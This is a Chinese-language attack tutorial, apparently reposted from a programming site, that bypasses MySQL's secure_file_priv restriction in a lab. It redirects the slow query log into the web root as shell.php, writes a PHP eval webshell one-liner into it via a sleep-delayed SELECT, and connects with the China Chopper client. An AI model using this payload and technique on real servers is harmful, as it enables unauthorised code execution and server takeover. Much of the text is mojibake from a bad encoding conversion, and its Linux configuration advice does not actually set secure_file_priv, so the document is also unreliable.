MYSQL突破secure_file_priv寫shell問題
目標IP地址:192.168.106.130
本地IP地址:192.168.106.1
訪問目標網(wǎng)絡如下圖所示:
實驗場景
某些情況下,當我們進入網(wǎng)站phpmyadmin或者網(wǎng)站后臺執(zhí)行SQL命令,計劃通過select into outfile寫一句話木馬(shell),但是通常都會報錯
如下圖所示:


原因
在mysql 中 secure_file_priv的值默認為NULL。
并且無法用sql語句對其進行修改,只能夠通過以下方式修改
windows:
修改mysql.ini 文件,在[mysqld] 下添加條目: secure_file_priv =
保存,重啟mysql。
Linux:
在/etc/my.cnf的[mysqld]下面添加local-infile=0選項。
secure_file_priv作用:
- secure_file_priv為null 表示不允許導入導出
- secure_file_priv指定文件夾時,表示mysql的導入導出只能發(fā)生在指定的文件夾
- secure_file_priv沒有設置時,則表示沒有任何限制
但是如果這樣的話我們就不能夠?qū)憇hell了嗎?答案是否定的。
突破限制利用方法:日志的利用
利用方法:
攻擊時進行一次附帶代碼的url請求,在日志記錄這次請求之后,通過文件包含漏洞來包含這個日志文件,從而執(zhí)行請求中的代碼。
mysql也具有日志,我們也可以通過日志來getshell。
mysql日志主要包含:錯誤日志、查詢?nèi)罩?、慢查詢?nèi)罩尽⑹聞杖罩?,日志的詳細情況參考mysql日志詳細解析
本次實驗主要利用慢查詢?nèi)罩緦憇hell
第一步:
1.設置slow_query_log=1.即啟用慢查詢?nèi)罩?默認禁用)。

分析:

slow_query_log=ON 已開啟
第二步:
修改slow_query_log_file日志文件的絕對路徑以及文件名
作為攻擊者不知道安裝路徑,可以輸入:show variables like “%char%”,執(zhí)行效果如下圖所示,得到安裝路徑

修改slow_query_log_file日志文件的絕對路徑以及文件名為C:\phpstudy\PHPTutorial\WWW\shell.php
set global slow_query_log_file=‘C:\phpstudy\PHPTutorial\WWW\shell.php’

目標靶機驗證是否成功修改:

第三步:
向日志文件寫入shell,select ‘<?php @eval($_POST[x]);?>’ or sleep(11)
因為sleep(11),SQL語句正確的話,會延遲11秒后返回執(zhí)行結(jié)果,耐心等待即可

第四步:
訪問shell.php日志文件

第五步:
中國菜刀連接

連接成功

總結(jié)
以上為個人經(jīng)驗,希望能給大家一個參考,也希望大家多多支持腳本之家。
相關(guān)文章
linux系統(tǒng)中mysql數(shù)據(jù)庫的導入和導出
本文給大家簡單記錄了一下在linux系統(tǒng)中mysql數(shù)據(jù)庫的導入和導出的方法,有相同需求的小伙伴可以參考下2016-02-02
關(guān)于mysql中的json解析函數(shù)JSON_EXTRACT
這篇文章主要介紹了關(guān)于mysql中的json解析函數(shù)JSON_EXTRACT講解,具有很好的參考價值,希望對大家有所幫助。如有錯誤或未考慮完全的地方,望不吝賜教2022-07-07
Mysql系列SQL查詢語句書寫順序及執(zhí)行順序詳解
這篇文章主要為大家介紹了Mysql系列SQL查詢語句的書寫順序及執(zhí)行順序示例詳解,有需要的朋友可以借鑒參考下,希望能夠有所幫助,祝大家多多進步2021-10-10

